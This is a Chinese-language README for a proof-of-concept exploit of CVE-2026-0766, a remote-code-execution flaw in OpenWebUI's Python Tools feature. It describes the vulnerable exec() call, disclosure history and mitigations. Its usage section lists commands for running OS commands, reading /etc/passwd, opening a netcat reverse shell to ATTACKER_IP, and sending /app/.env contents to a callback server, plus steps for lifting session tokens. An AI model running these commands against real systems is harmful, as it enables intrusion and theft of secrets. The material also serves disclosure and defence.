教育性安全研究仓库
本仓库包含针对 CVE-2026-0766 的概念验证利用代码,这是由 零日计划(ZDI) 发现并公开的 OpenWebUI 远程代码执行漏洞。
本仓库仅用于授权的安全测试和教育目的。
作者不对滥用此代码的行为承担任何责任。用户须自行确保其活动符合所有适用的法律法规。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-0766 |
| 发现者 | 零日计划(ZDI) |
| 受影响软件 | OpenWebUI |
| 漏洞类型 | 代码注入(CWE-94) |
| CVSS 评分 | 8.8 高危 |
| CVSS 向量 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 攻击复杂度 | 低(经过身份验证的管理员或具有工具创建/更新权限的用户可利用) |
OpenWebUI 是一个面向大型语言模型的自托管 Web 界面。它提供类似 ChatGPT 的体验,组织可以在自己的基础设施上运行,使 LLM 对话和数据保持本地化。
OpenWebUI 包含一个"工具"功能,允许用户通过提交 Python 代码来扩展 LLM 能力。这些代码通过 Python 的 exec() 函数在服务端执行,没有任何沙箱、验证或安全控制。
利用流程:
POST /api/v1/tools/create 创建"工具"content 字段中utils/plugin.py 中调用 exec(content, module.__dict__)关键要点: 代码在工具创建时执行,而非 LLM 调用工具时。这意味着只需创建一个恶意工具即可触发 RCE——无需进一步交互。
此漏洞已在以下版本上验证:
该漏洞属于架构性问题(对用户输入不安全地使用 exec()),在 OpenWebUI 团队发布安全补丁之前,所有版本均受影响。
漏洞存在于 backend/open_webui/utils/plugin.py 中:
def load_tool_module_by_id(tool_id: str, content: str):
# 最小化预处理(非安全控制)
content = replace_imports(content)
# 创建模块并执行用户代码
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← 漏洞点
return module
replace_imports() 函数仅重写导入路径(表面处理)——它不限制可执行的代码。存在以下缺失:
OpenWebUI 团队最初将此漏洞评估为低优先级,指出工具创建需要管理员权限。然而:
在厂商建议管理员通过受限访问进行管理之后,ZDI 已将此作为 0-day 漏洞公开(ZDI-26-032)以告知防御者。
作者尊重维护开源项目所面临的挑战。 安全修补需要在用户需求、架构约束和有限资源之间取得平衡。本公开旨在帮助安全团队评估风险并实施缓解措施。
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
利用脚本(exploit.py)支持多种攻击模式:
执行操作系统命令并获取输出:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
从服务器文件系统读取文件:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
生成反向 Shell(需要 netcat 监听器):
# 在攻击者机器上:
nc -lvnp 4444
# 运行利用脚本:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
将命令输出发送到 HTTP 回调服务器:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
该脚本同时接受 JWT 令牌(来自 SSO 登录)和 API 密钥:
获取 JWT 令牌:
token cookie 值Authorization: Bearer ... 请求头localStorage.getItem("token")--token eyJhbGci...如果您运行 OpenWebUI 且无法立即修补:
用安全替代方案替换 exec():
RestrictedPython 进行沙箱化执行添加权限检查:
纵深防御:
MIT 许可证 - 详情请参阅 LICENSE 文件。
此代码仅供教育和防御性安全目的使用。作者不对滥用行为负责。
此漏洞已进行负责任披露:
如果您在开源项目中发现安全漏洞,请遵循负责任披露实践,在公开披露前给维护者留出修补时间。
如有问题或反馈: 请在本仓库中提交 issue。